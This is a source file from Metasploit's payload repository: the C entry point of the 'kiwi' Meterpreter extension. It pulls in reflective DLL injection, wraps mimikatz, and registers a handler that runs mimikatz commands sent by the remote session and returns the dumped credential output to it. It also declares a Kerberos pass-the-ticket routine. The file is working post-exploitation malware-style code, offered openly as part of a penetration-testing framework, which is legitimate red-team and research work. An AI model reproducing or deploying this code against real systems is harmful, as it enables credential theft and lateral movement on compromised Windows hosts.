mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-03-30 22:19:17 +02:00
116 lines
3.3 KiB
C
Executable File
116 lines
3.3 KiB
C
Executable File
/*!
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* @file main.c
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* @brief Entry point for the kiwi extension.
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*/
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#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h"
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// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
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// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
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// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
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#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
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// this sets the delay load hook function, see DelayLoadMetSrv.h
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EnableDelayLoadMetSrv();
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#include "main.h"
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extern __declspec(dllexport) wchar_t * powershell_reflective_mimikatz(LPWSTR input);
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extern DWORD kuhl_m_kerberos_ptt_data(PVOID data, DWORD dataSize);
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extern LONG mimikatz_initOrClean(BOOL Init);
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DWORD request_exec_cmd(Remote *remote, Packet *packet);
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DWORD request_kerberos_ticket_use(Remote *remote, Packet *packet);
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/*! @brief The enabled commands for this extension. */
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Command customCommands[] =
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{
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COMMAND_REQ("kiwi_exec_cmd", request_exec_cmd),
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COMMAND_TERMINATOR
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};
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/*!
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* @brief Handler for the generic command execution function.
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* @param remote Pointer to the \c Remote instance.
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* @param packet Pointer to the incoming packet.
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* @returns \c ERROR_SUCCESS
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*/
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DWORD request_exec_cmd(Remote *remote, Packet *packet)
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{
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DWORD result = ERROR_SUCCESS;
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Packet * response = packet_create_response(packet);
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wchar_t* cmd = packet_get_tlv_value_wstring(packet, TLV_TYPE_KIWI_CMD);
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if (cmd != NULL)
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{
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dprintf("[KIWI] Executing command: %S", cmd);
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// While this implies that powershell is in use, this is just a naming thing,
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// it's not actually using powershell.
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wchar_t* output = powershell_reflective_mimikatz(cmd);
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if (output != NULL)
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{
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packet_add_tlv_wstring(response, TLV_TYPE_KIWI_CMD_RESULT, output);
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}
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else
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{
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result = ERROR_OUTOFMEMORY;
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}
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free(cmd);
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}
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else
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{
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result = ERROR_INVALID_PARAMETER;
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}
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dprintf("[KIWI] Dumped, transmitting response.");
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packet_transmit_response(result, remote, response);
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dprintf("[KIWI] Done.");
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return ERROR_SUCCESS;
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}
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/*!
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* @brief Initialize the server extension.
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* @param remote Pointer to the remote instance.
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* @return Indication of success or failure.
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*/
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DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
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{
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hMetSrv = remote->met_srv;
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dprintf("[KIWI] Init server extension - initorclean");
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mimikatz_initOrClean(TRUE);
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dprintf("[KIWI] Init server extension - register");
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command_register_all(customCommands);
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dprintf("[KIWI] Init server extension - done");
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return ERROR_SUCCESS;
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}
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/*!
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* @brief Deinitialize the server extension.
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* @param remote Pointer to the remote instance.
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* @return Indication of success or failure.
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*/
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DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
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{
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mimikatz_initOrClean(FALSE);
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command_deregister_all(customCommands);
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return ERROR_SUCCESS;
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}
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/*!
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* @brief Get the name of the extension.
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* @param buffer Pointer to the buffer to write the name to.
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* @param bufferSize Size of the \c buffer parameter.
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* @return Indication of success or failure.
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*/
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DWORD __declspec(dllexport) GetExtensionName(char* buffer, int bufferSize)
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{
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strncpy_s(buffer, bufferSize, "kiwi", bufferSize - 1);
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return ERROR_SUCCESS;
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}
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